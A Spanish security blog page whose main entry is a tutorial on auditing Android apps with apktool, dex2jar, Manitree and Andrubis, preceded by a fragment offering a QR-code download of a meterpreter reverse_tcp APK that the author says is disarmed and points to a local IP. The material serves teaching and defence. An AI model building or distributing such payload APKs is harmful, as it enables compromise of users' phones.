Os podéis descargar sin problemas la APK desde el código QR porque la aplicación está apuntando a una dirección IP local y porque le he quitado todo el código referente a las funciones de meterpreter, es decir, sólo realiza la conexión reverse_tcp, pero no responde bajo ningún comando de los de meterpreter.

Todo este contenido viene a complementar la charla de Seguridad en Android de la Hack & Beers Vol.2. Si no pudisteis asistir aquí os dejo el enlace de mi presentación (Seguridad en Android.pdf) y el de las charlas (http://new.livestream.com/cosfera/hbodb).

Quiero dar de nuevo las gracias a Miguel Ángel Arroyo de Hacking Ético por contar conmigo para la Hack & Beers. Espero que os haya gustado !! 

Un handshake para todos

@eduSatoe

"Pues conseguir cien victorias en cien batallas no constituye la mayor habilidad. Dominar al enemigo sin luchar, esta sí es la más alta habilidad"

Gichin Funakoshi

Read More

Auditoría de aplicaciones en Android - Tirando del hilo...

En la actualidad el 90% de las personas llevan un terminal móvil en su bolsillo la mayor parte del día, con las ventajas que esto supone en cuanto a acceso a la información y poder estar conectado a la red en cualquier momento. No obstante, esto ha puesto a estos dispositivos en el punto de mira de los desarrolladores de malware y por tanto hace que nos debamos preocupar también de la seguridad de estos dispositivos al igual que lo hacemos con nuestros PC portátiles o de sobremesa, ya que el crecimiento de malware para dispositivos móviles está creciendo en gran medida día a día.

En la actualidad el sistema operativo que triunfa en estos dispositivos es IOS, pero en segundo lugar y no menos importante lo hace Android, que año tras año le va comiendo terreno al sistema operativo de la manzana. A continuación os muestro un gráfico de los porcentajes de uso de SSOO móviles del año 2013:

El objetivo de esta entrada en el blog es conocer un poco como podemos llevar a cabo la auditoría de una aplicación en Android que una empresa ha desarrollado y nos pide que evaluemos su seguridad. Para ello lo primero que vamos a hacer, como en todo proceso de auditoría, no es otra cosa que obtener la mayor cantidad de información de la aplicación. En nuestro caso, la investigación no va orientada a buscar malware, sino a testear nuestra APK para poder corregir posibles vulnerabilidades.

Estructura de una APK

A la hora de auditar cualquier aplicación o sistema operativo, es muy importante conocer como funciona y la estructura de ficheros de un proyecto en Android. Por tanto toda APK desarrollada contiene:

• Un descriptor de la aplicación: AndroidManifest.xml, en donde podemos encontrar los permisos que necesita la aplicación, así como la definición de parámetros de funcionamiento. Un permiso sería poder hacer una llamada de teléfono desde la aplicación. Pincha aquí para más info.

<uses-permission android:name="android.permission.CALL_PHONE"/>

• Código fuente de la aplicación: los ficheros .java que se ubican en la carpeta src, así como .

• Ficheros de recursos: .xml con las interfaces gráficas, menús o parámetros usados por la aplicación, ficheros de imágenes (.jpg, .png, etc), archivos multimedia... todo ello en la carpeta res. Pincha aquí para más info.

Desempaquetando la APK

Lo primero que debemos hacer en este momento es desempaquetar el APK. Este fichero no es sino un fichero comprimido en ZIP,si nosotros renombramos la aplicacion .apk a .zip y abrimos con cualquier descompresor, podemos ver los archivos internos que trae, simplemente tendremos que utilizar la herramienta adecuada para poder visualizarlos correctamente.

1.Para el AndroidManifest que está codificado en XML binario usaremos apktool, disponible para Windows, Linux y MAC OS. Nos descargaremos de https://code.google.com/p/android-apktool/ la aplicación y el script de instalación según la plataforma que elijamos. Y ahora ejecutamos el siguiente código para poder obtener el XML original:

apktool d aplicacion.apk directorioSalida

2.Para los ficheros de código fuente, cogeremos el fichero classes.dex (está dentro de la APK al abrirlo con WinZip). Este fichero contiene las clases de Java compiladas en formato .dex, dicho formato es el necesario para ejecutarse sobre la máquina virtual Dalvik (Dalvik VM). 

Haciendo uso de la herramienta dex2jar (http://code.google.com/p/dex2jar) obtendremos un fichero .jar, que no es sino el fichero de clases compilado en java.. Para obtener el código java podemos usar JD-GUI (http://jd.benow.ca/jd-gui/) y analizar, ahora si, código java legible. Si lo que buscamos es algún tipo de malware, entonces deberíamos buscar si dicho código tiene alguna función sospechosa como: 

• openFileOutput: método que nos permite escribir ficheros en la memoria interna.
• openFileInput: método que nos permite leer ficheros de la memoria interna.
• Socket: clase que se utiliza para comunicaciones Cliente-Servidor y por tanto intercambio de información.
• Webview: clase que nos permite visualizar una Web dentro de una aplicación Android y por tanto la ejecución de código javascript, con las consecuencias que esto puede conllevar.

3. Por último tenemos los ficheros de recursos en la carpeta res donde encontramos, entre otras, las siguientes subcarpetas:

• drawable: las imágenes que utilza la aplicación.
• layout: ficheros xml con las configuraciones de las diferentes vistas de la interfaz. Para poder visualizarlas desde el código java se asocia la vista con estos ficheros xml. Además es necesario declaran en el AndroidManifest alguna actividad, caso de no ser así quiere decir que la aplicación no tiene interfaz de usuario y seguramente se instale como servicio de sistema, muy común en los malware.
• menu: ficheros xml con las configuraciones de los menús.
• values: ficheros de configuración como valores de las cadenas que aparecen en la interfaz, colores, estilos...
• xml: ficheros xml con las preferencias que pueden ser configuradas en la aplicación, hay que tener cuidado con la información que la aplicación almacena sobre las preferencias de las mismas o datos nuestros, ya que cualquier usuario con acceso root o una aplicación con acceso a la memoria interna puede acceder a información sensible que contega el fichero de preferencias:

/data/data/nombre.del.paquete/files/shared_prefs/nombre.del.paquete_preferences.xml 

• Podéis encontrar más información al respecto aquí.

Auditando AndroidManifest.xml

Manitree: el objetivo de esta herramienta es detectar posibles inseguridades en el fichero AndroidManifest.xml, ya que si introducimos en dicho archivo valores erróneos podemos comprometer la APK. Descargamos la aplicación en Kali Linux y ejecutamos sobre un archivo AndroidManifest.

En la imagen anterior vemos los permisos a los cuales tiene acceso la APK cuyo fichero xml hemos utilizado, vemos que nos da una advertencia bastante peligrosa (nivel HIGH) ya que la aplicación tiene acceso a la raíz del dispositivo (pathPrefix="/"), lo cual podría comprometer toda la info que podamos tener en el mismo. En esta aplicación el desarrollador debería haber indicado la carpeta en concreta a la cual se puede tener acceso, que debería ser pathPrefix="/directorio.de.la.aplicacion", y no la raíz del sistema.

Si ejecutamos la herramienta con otro fichero AndroidManifest.xml que hemos renombrado con SecretCode.xml obtenemos lo siguiente:

Esta vez hemos encontrado dos códigos de marcación ocultos (*#*#8351#*#* y *#*#8350#*#*), que pueden llevarnos a menús secretos o acciones ocultas (un ejemplo de una puerta trasera o backdoor) que se han reservado los desarrolladores de la aplicación.

A continuación os dejo un enlace donde podéis encontrar todos los permisos que podemos encontrarnos en el AndroidManifest.xml. http://developer.android.com/reference/android/Manifest.permission.html

Ingeniería inversa sobre una APK (.java)

Para llevar a cabo este proceso de ingeniería inversa existen multitud de aplicaciones que obtienen el código fuente a partir del código ya compilado, cierto es que existen ofuscadores de código, pero aún así es posible descompilar gran parte del código ofuscado.

El objetivo de nuestra auditoría no es centrarnos en este proceso, ya que nosotros ya tenemos el código fuente porque nos lo facilita el cliente. No obstante si vamos a indicar que existe una distribución Linux con un set de herramientas preparadas para ingeniería inversa, ya preparadas y configuradas, se llama Android Reverse Engineering (ARE) y podéis descargarla desde https://redmine.honeynet.org/projects/are/ sus credenciales son android/android.

A continuación enumeramos las herramientas que contiene y una breve descripción de las mismas:

• Androguard: herramienta en python para manejar ficheros dex, apk, xml binarios y recursos android arsc.
• Android sdk/ndk: kit de desarrollo de herramientas para android
• APKInspector: herramienta con interfaz gráfica para la inspección de todos los ficheros contenidos en el paquete APK.
• Apktool: herramienta de ingeniría inversa casi perfecta que te devuelve los ficheros originales de los que surgió una aplicación.
• Axmlprinter: conversor de fichero xml binario a xml.
• Ded: herramienta para descompilar apk de android.
• Dex2jar: conversión de ficheros .dex a .jar.
• DroidBox: herramienta de análisis dinámico de aplicaciones android. Lectura de hashes, paquetes entrada/salida en la red, operaciones de entrada/salida de ficheros, permisos eludidos, sms enviados, llamadas, fugas de información, etc.
• Jad: descompilador de Java con interfaz gráfica disponible para MAC OS, Linux y Windows.
• Smali/Baksmali: ensamblador/desensamblador de ficheros dex.

Análisis online con Andrubis

Existe en la red una aplicación llamada Anubis que nos permite chequear nuestros binarios de Windows en busca de malware. El proyecto ha ido creciendo y han creado Andrubis, el cual ahora también nos permite analizar las aplicaciones de Android en busca de malware, para lo cual obtenemos gran parte de información valiosa.

Andrubis nos ofrece un informe detallado sobre el comportamiento de la aplicación, incluyendo el acceso a archivos, acceso a la red, las operaciones criptográficas, código dinámico de carga y las fugas de información. Además también cuenta con un análisis estático donde nos indica las actividades de la aplicación, los servicios, las librerías externas y permisos que necesita.

Con Andrubis tenemos la posibilidad de llevar a cabo el escaneo online (APK máx 8MB) o descargarnos su APK desde la Web e instalarla en el móvil para auditar directamente cualquier aplicación. De una forma o de otra podemos registrarnos para que así nos cree nuestro perfil y puedan guardar todos los informes de todas las aplicaciones que hemos escaneado. Una vez registrados y activada nuestra cuenta vamos a probar el escaneo online:

Seleccionamos el archivo .apk y enviamos para su correspondiente análisis.

Una vez que termine el proceso podemos ver bastante información sobre la aplicación escaneada, tenemos la posibilidad de verlo en HTML o XML. Os dejo el enlace al reporte que genera:

https://anubis.iseclab.org/?action=result&task_id=16c9ab98c8e760ee455d61ec258f6ab15&format=html

De donde podemos sacar permisos que necesita la aplicación, urls, entrada/salida de ficheros en memoria interna, puertos de comunicación...

Análisis en el propio terminal móvil con ISecDroid (apk de Andrubis)

Además de la versión online podemos usar la aplicación de Andrubis para el móvil, sólo la podéis descargar de la Web ya no se encuentra en Google Play y es necesario estar registrado en la Web para introducirle usuario y contraseña. La aplicación se llama ISecDroid y al abrirla nos aparece la siguiente interfaz:

En la opción de Configuration ponemos el nombre de usuario y contraseña así como otras opciones más específicas de configuración, entre otras el poder analizar aplicaciones mayores de 8 MB. El siguiente paso es pulsar sobre la opción App submission y elegir aquellas aplicaciones de las cuales queremos llevar a cabo el análisis.

Le damos a Submit y lo que hace la aplicación es llevar a cabo el análisis y subir el reporte al servidor de la aplicación en la cuenta (username/password) que hemos configurado previamente.

Por último podemos ver en History los reportes de las aplicaciones que hemos analizado.

Lo bueno que tiene el registrarte en la Web de Andrubis es que todos los reportes de los análisis que has llevado a cabo tanto desde el escáner online como desde tú teléfono, son accesibles desde la Web en tu perfil de usuario. Lo vemos en la siguiente imagen:

Una cosa muy interesante de usar la aplicación de ISecDroid en el terminal móvil es que te genera un archivo .pcap con el tráfico de la aplicación, caso de que esta se comunique con algún servidor exterior.

En el siguiente link vemos el reporte del análisis de esta aplicación y vemos como obtenemos direcciones IP y dominios a los cuales se conecta. En el siguiente enlace lo podéis comprobar.

https://anubis.iseclab.org/?action=result&task_id=1c0ca8f10949f2224a5d3cee06e0e7ae8&format=html

Conclusión y Recomendaciones de Seguridad

Como hemos podido comprobar son muchos los datos que podemos obtener de un simple archivo APK y estos exponen información que puede hacer vulnerable nuestro sistema. A continuación os voy a dar una serie de recomendaciones a tener en cuenta a la hora de desarrollar una aplicación en Android, de manera que desde el primer momento que nos pongamos a escribir la primera línea de código, ya estemos teniendo en cuenta la seguridad de la aplicación:

• Mantener una política de privacidad en cuanto a los datos que se utilicen en la misma.
• Reducir al mínimo los permisos que se le facilitan a la aplicación.
• Dar a elegir a los usuarios donde almacenar la información.
• No recabar en la aplicación información innecesaria que nos pueda comprometer.
• No envíe información del dispositivo a través de la aplicación.
• No reutilices código fuente que no entiendes.
• No almacenes a través de la aplicación ficheros logs sobre usuarios o información de tu dispositivo.
• Usa mecanismos de ofuscación de código para evitar o dificultar la ingeniería inversa.
• En todas las entradas de datos debes tener en cuenta su validación previa para evitar posibles errores.

Llegados hasta aquí, creo haber dado una visión en profundidad tanto de la estructura interna de una aplicación en Android, como los posibles fallos de seguridad que podemos encontrar en ellas. Hemos mostrado algunas herramientas que son de utilidad, pero existen muchas otras en la red igual de válidas. Además de estas técnicas, también podemos añadirle a nuestro análisis otras comúnmente usadas, como el escaneo externo de puertos que usa la aplicación o la obtención de metadatos de los ficheros de la misma.

Sin más, me despido hasta la próxima entrada, no sin antes nombrar a Miguel Ángel Arroyo (@Miguel_Arroyo76) responsable del magnífico blog http://hacking-etico.com. Espero que te sirva esta información, ya que siempre somos los demás los que ampliamos conocimientos gracias a tus charlas, entradas en tu blog o tus tweets. 

Un handshake compañero !!

@eduSatoe

"No se puede desatar un nudo sin saber cómo está hecho."

Aristóteles

Read More